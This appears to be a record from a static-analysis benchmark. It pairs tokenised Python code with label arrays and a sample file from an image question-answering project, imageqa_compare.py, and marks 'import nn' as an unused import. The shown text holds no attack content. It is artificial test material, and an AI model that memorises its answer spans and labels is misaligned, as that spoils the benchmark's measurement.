"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "filename_", "in_", "unmo", "difi", "ed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fullname_", "=_", "filename_", "+_", "extension_", "(_", "filef", "ormat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "full", "uri_", "=_", "Config_", "._", "get_", "(_", "\"", "uris", "\"_", ",_", "\"", "file", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\\u", "version", "\"_", ":_", "update", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "fullname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filepath_", "=_", "Config_", "._", "get_", "(_", "\"", "path", "s", "\"_", ",_", "\"", "file", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\\u", "version", "\"_", ":_", "update", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "fullname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "File_", "(_", "filepath_", ",_", "mode_", "=_", "\"", "w", "\"_", ")_", "as_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fh_", "._", "compress_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "manifest_", "._", "add", "\\u", "action_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "action", "\"_", ":_", "\"", "verify", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "sha1", "-", "bef", "ore", "\"_", ":_", "sha1_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "full", "-", "uri", "\"_", ":_", "full", "uri_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "full", "-", "format", "\"_", ":_", "filef", "ormat_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "filename_", "in_", "modified_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fullname_", "=_", "filename_", "+_", "extension_", "(_", "filef", "ormat_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "full", "uri_", "=_", "Config_", "._", "get_", "(_", "\"", "uris", "\"_", ",_", "\"", "file", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\\u", "version", "\"_", ":_", "update", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "fullname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "filepath_", "=_", "Config_", "._", "get_", "(_", "\"", "path", "s", "\"_", ",_", "\"", "file", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\\u", "version", "\"_", ":_", "update", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "fullname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "File_", "(_", "filepath_", ",_", "mode_", "=_", "\"", "w", "\"_", ")_", "as_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fh_", "._", "compress_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "package_", "._", "open_", "(_", "filename_", ",_", "\"", "w", "\"_", ")_", "as_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fh_", "._", "compress_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "manifest_", "._", "add", "\\u", "action_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "action", "\"_", ":_", "\"", "replace", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "sha1", "-", "bef", "ore", "\"_", ":_", "sha1_", "(_", "path_", "._", "join_", "(_", "current", "path_", ",_", "filename_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "sha1", "-", "after", "\"_", ":_", "sha1_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "full", "-", "uri", "\"_", ":_", "\"", "package", ":///", "\"_", "+_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "full", "-", "format", "\"_", ":_", "\"", "raw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "filename_", "in_", "added_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "package_", "._", "open_", "(_", "filename_", ",_", "\"", "w", "\"_", ")_", "as_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "fh_", "._", "compress_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "manifest_", "._", "add", "\\u", "action_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "action", "\"_", ":_", "\"", "create", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "sha1", "-", "after", "\"_", ":_", "sha1_", "(_", "path_", "._", "join_", "(_", "update", "path_", ",_", "filename_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "full", "-", "uri", "\"_", ":_", "\"", "package", ":///", "\"_", "+_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "full", "-", "format", "\"_", ":_", "\"", "raw", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "filename_", "in_", "removed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "manifest_", "._", "add", "\\u", "action_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "action", "\"_", ":_", "\"", "delete", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filename", "\"_", ":_", "filename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "package_", "._", "write_", "(_", "package", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "manifest_", "._", "add", "\\u", "property_", "(_", "\"", "package", "-", "sha1", "\"_", ",_", "sha1_", "(_", "package", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "._", "add", "\\u", "property_", "(_", "\"", "package", "-", "format", "\"_", ",_", "archive", "format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "manifest_", "._", "add", "\\u", "property_", "(_", "\"", "package", "-", "uri", "\"_", ",_", "Config_", "._", "get_", "(_", "\"", "uris", "\"_", ",_", "\"", "package", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "current", "\\u", "version", "\"_", ":_", "current", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "update", "\\u", "version", "\"_", ":_", "update", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "extensi", "on", "\"_", ":_", "package", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "manifest", "path_", "=_", "Config_", "._", "get_", "(_", "\"", "path", "s", "\"_", ",_", "\"", "manifest", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vars_", "=_", "{_", "\"", "platform", "\"_", ":_", "platform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "current", "\\u", "version", "\"_", ":_", "current", "ver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "File_", "(_", "manifest", "path_", ",_", "mode_", "=_", "\"", "w", "\"_", ")_", "as_", "mh", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mh", "_", "._", "write_", "(_", "manifest_", "._", "to", "\\u", "yaml_", "(_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
renmengye/imageqa-public/src/imageqa_compare.py
[ { "content": "import sys\nimport os\nimport nn\nimport numpy as np\nimport imageqa_test as it\nimport imageqa_render as ir\nimport imageqa_ensemble as ie\n\nnameList = ['object', 'number', 'color', 'location']\n\n\n\n\n\nif __name__ == '__main__':\n \"\"\"\n Usage: python imageqa_compare.py \n -m[odel] {name1:modelId1}\n -m[odel] {name2:modelId2}\n -em[odel] {name3:ensembleModelId3,ensembleModelId4,...}\n -pem[odel] {name3:ensembleModelId5,ensembleModelId6,...}\n -d[ata] {dataFolder}\n -o[utput] {outputFolder}\n [-k {top K answers}]\n [-r[esults] {resultsFolder}]\n [-dataset {daquar/cocoqa}]\n \"\"\"\n params = ir.parseComparativeParams(sys.argv)\n \n urlDict = ir.loadImgUrl(params['dataset'], params['dataFolder'])\n data = it.loadDataset(params['dataFolder'])\n\n print('Running models...')\n inputTest = data['testData'][0]\n targetTest = data['testData'][1]\n questionTypeArray = data['questionTypeArray']\n modelOutputs = ie.runAllModels(\n inputTest, \n questionTypeArray, \n params['models'], \n params['resultsFolder'],\n params['dataset'],\n params['dataFolder'])\n\n # Sort questions by question types.\n # Sort questions by correctness differences.\n print('Sorting questions...')\n numCategories = np.max(questionTypeArray) + 1\n numModels = len(params['models'])\n numCorrect = 1 << numModels\n numBins = numCategories * numCorrect\n modelAnswers = np.zeros((numModels, inputTest.shape[0]), dtype='int')\n bins = [None] * numBins\n names = []\n for i in range(numCategories):\n catName = getCatName(i)\n for j in range(numCorrect):\n binName = getBinName(j)\n names.append(getName(catName, binName))\n for i in range(numModels):\n modelAnswers[i] = np.argmax(modelOutputs[i], axis=-1)\n for n in range(inputTest.shape[0]):\n correct = targetTest[n, 0]\n bintmp = 0\n for i in range(numModels):\n if modelAnswers[i, n] == correct:\n bintmp += 1 << (numModels - i - 1)\n category = questionTypeArray[n]\n binNum = category * numCorrect + bintmp\n if bins[binNum] == None:\n bins[binNum] = [n]\n else:\n bins[binNum].append(n)\n\n for i, bin in enumerate(bins):\n if bin is None:\n bins[i] = []\n\n # Render\n print('Rendering webpages...')\n print('Rendering index...')\n outputFolder = params['outputFolder']\n\n if not os.path.exists(outputFolder):\n os.makedirs(outputFolder)\n with open(os.path.join(outputFolder, 'index.html'), 'w') as f:\n f.write(renderIndex(\n ir.getModelNames(params['models']), numCategories, bins))\n\n for i in range(numBins):\n if bins[i] is not None:\n print 'Rendering %s...' % names[i]\n outputSubFolder = os.path.join(outputFolder, names[i])\n idx = np.array(bins[i], dtype='int')\n inputTestSubset = inputTest[idx]\n targetTestSubset = targetTest[idx]\n modelOutputsSubset = []\n for j in range(numModels):\n modelOutputsSubset.append(modelOutputs[j][idx])\n if not os.path.exists(outputSubFolder):\n os.makedirs(outputSubFolder)\n htmlHyperLink = '%d.html'\n pages = ir.renderHtml(\n inputTestSubset, \n targetTestSubset, \n data['questionIdict'], \n data['ansIdict'], \n urlDict, \n topK=params['topK'],\n modelOutputs=modelOutputsSubset,\n modelNames=ir.getModelNames(params['models']),\n questionIds=idx)\n for j, page in enumerate(pages):\n with open(os.path.join(outputSubFolder, \n htmlHyperLink % j), 'w') as f:\n f.write(page)", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def getCatName(i):\n return nameList[i]", "metadata": "root.getCatName", "header": "['module', '___EOS___']", "index": 10 }, { "content": "def getBinName(n):\n bin = []\n for k in range(numModels):\n bin.append(str(n >> (numModels - k - 1)))\n n = n & (~(1 << (numModels - k - 1)))\n return ''.join(bin)", "metadata": "root.getBinName", "header": "['module', '___EOS___']", "index": 13 }, { "content": "def getName(catName, binName):\n return catName + '-' + binName", "metadata": "root.getName", "header": "['module', '___EOS___']", "index": 20 }, { "content": "def renderIndex(modelNames, numCategories, bins):\n htmlList = []\n htmlList.append('<html><head><style>%s</style><body>' % \\\n 'span.good {color:green;} span.bad {color:red;} \\\n table{border-spacing:10px;}')\n numModels = len(modelNames)\n numCorrect = 1 << numModels\n htmlList.append('<h1>Models comparisons</h1>')\n htmlList.append('Notes:<br/><span class=\"good\">\\\n Green means the model gets correct</span><br/>')\n htmlList.append('<span class=\"bad\">\\\n Red means the model gets wrong</span>')\n for i in range(numCategories):\n htmlList.append('<h2>%s</h2>' % getCatName(i))\n htmlList.append('<table>')\n for j in range(numCorrect):\n htmlList.append('<tr>')\n binId = numCorrect * i + j\n for k, c in enumerate(getBinName(j)):\n htmlList.append('<td>')\n if c == '1':\n htmlList.append(\n '<span class=\"good\">%s</span>' % modelNames[k])\n elif c == '0':\n htmlList.append(\n '<span class=\"bad\">%s</span>' % modelNames[k])\n htmlList.append('</td>')\n htmlList.append('<td>%d items</td>' % len(bins[binId]))\n htmlList.append('<td><a href=\"%s/0.html\">link</a></td>' % \\\n getName(getCatName(i), getBinName(j)))\n htmlList.append('</tr>')\n\n htmlList.append('</table>')\n htmlList.append('</head></body></html>')\n return ''.join(htmlList)", "metadata": "root.renderIndex", "header": "['module', '___EOS___']", "index": 23 } ]
[ { "span": "import nn", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "nn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "image", "qa", "\\u", "test_", "as_", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "image", "qa", "\\u", "render_", "as_", "ir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "image", "qa", "\\u", "ensemble_", "as_", "ie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "name", "List_", "=_", "[_", "'", "object", "'_", ",_", "'", "number", "'_", ",_", "'", "color", "'_", ",_", "'", "location", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Us", "age", ":", " ", "python", " ", "image", "qa", "\\u", "compare", ".", "py", " ", "\\", "10", ";", " ", " ", "-", "m", "[", "odel", "]", " ", "{", "name", "1", ":", "model", "Id", "1", "}", "\\", "10", ";", " ", " ", "-", "m", "[", "odel", "]", " ", "{", "name2", ":", "model", "Id", "2", "}", "\\", "10", ";", " ", " ", "-", "em", "[", "odel", "]", " ", "{", "name", "3", ":", "ensembl", "e", "Model", "Id", "3", ",", "ensembl", "e", "Model", "Id", "4", ",...", "}", "\\", "10", ";", " ", " ", "-", "pe", "m", "[", "odel", "]", " ", "{", "name", "3", ":", "ensembl", "e", "Model", "Id", "5", ",", "ensembl", "e", "Model", "Id", "6", ",...", "}", "\\", "10", ";", " ", " ", "-", "d", "[", "ata", "]", " ", "{", "data", "Fold", "er", "}", "\\", "10", ";", " ", " ", "-", "o", "[", "ut", "put", "]", " ", "{", "output", "Fold", "er", "}", "\\", "10", ";", " ", " ", "[-", "k", " ", "{", "top", " ", "K", " ", "answer", "s", "}]", "\\", "10", ";", " ", " ", "[-", "r", "[", "esult", "s", "]", " ", "{", "results", "Fold", "er", "}]", "\\", "10", ";", " ", " ", "[-", "dataset", " ", "{", "da", "quar", "/", "coco", "qa", "}]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "ir_", "._", "parse", "Compara", "tiv", "e", "Params_", "(_", "sys_", "._", "argv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url", "Dict_", "=_", "ir_", "._", "load", "Im", "g", "Url_", "(_", "params_", "[_", "'", "dataset", "'_", "]_", ",_", "params_", "[_", "'", "data", "Fold", "er", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "it_", "._", "load", "Dataset_", "(_", "params_", "[_", "'", "data", "Fold", "er", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Run", "ning", " ", "model", "s", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "Test_", "=_", "data_", "[_", "'", "test", "Data", "'_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "Test_", "=_", "data_", "[_", "'", "test", "Data", "'_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "question", "Type", "Array_", "=_", "data_", "[_", "'", "question", "Type", "Array", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Output", "s_", "=_", "ie_", "._", "run", "All", "Models_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "input", "Test_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "Type", "Array_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "'", "model", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "'", "results", "Fold", "er", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "'", "dataset", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "'", "data", "Fold", "er", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sort", " ", "question", "s", " ", "by", " ", "question", " ", "types", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sort", " ", "question", "s", " ", "by", " ", "correct", "ness", " ", "difference", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Sort", "ing", " ", "question", "s", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "Categories_", "=_", "np_", "._", "max_", "(_", "question", "Type", "Array_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "Models_", "=_", "len_", "(_", "params_", "[_", "'", "model", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "Correct", "_", "=_", "1_", "<<_", "num", "Models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "Bins_", "=_", "num", "Categories_", "*_", "num", "Correct", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Answer", "s_", "=_", "np_", "._", "zeros_", "(_", "(_", "num", "Models_", ",_", "input", "Test_", "._", "shape_", "[_", "0_", "]_", ")_", ",_", "dtype_", "=_", "'", "int", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bins_", "=_", "[_", "None_", "]_", "*_", "num", "Bins_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Categories_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cat", "Name_", "=_", "get", "Cat", "Name_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "num", "Correct", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bin", "Name_", "=_", "get", "Bin", "Name_", "(_", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "._", "append_", "(_", "get", "Name_", "(_", "cat", "Name_", ",_", "bin", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Models_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model", "Answer", "s_", "[_", "i_", "]_", "=_", "np_", "._", "argmax_", "(_", "model", "Output", "s_", "[_", "i_", "]_", ",_", "axis_", "=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "input", "Test_", "._", "shape_", "[_", "0_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "correct_", "=_", "target", "Test_", "[_", "n_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bin", "tmp_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "num", "Models_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "model", "Answer", "s_", "[_", "i_", ",_", "n_", "]_", "==_", "correct_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bin", "tmp_", "+=_", "1_", "<<_", "(_", "num", "Models_", "-_", "i_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "category_", "=_", "question", "Type", "Array_", "[_", "n_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bin", "Num_", "=_", "category_", "*_", "num", "Correct", "_", "+_", "bin", "tmp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "bins_", "[_", "bin", "Num_", "]_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bins_", "[_", "bin", "Num_", "]_", "=_", "[_", "n_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bins_", "[_", "bin", "Num_", "]_", "._", "append_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", ",_", "bin_", "in_", "enumerate_", "(_", "bins_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "bin_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bins_", "[_", "i_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Render_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "Rendering", " ", "webpage", "s", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Rendering", " ", "index", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Folder_", "=_", "params_", "[_", "'", "output", "Fold", "er", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "output", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 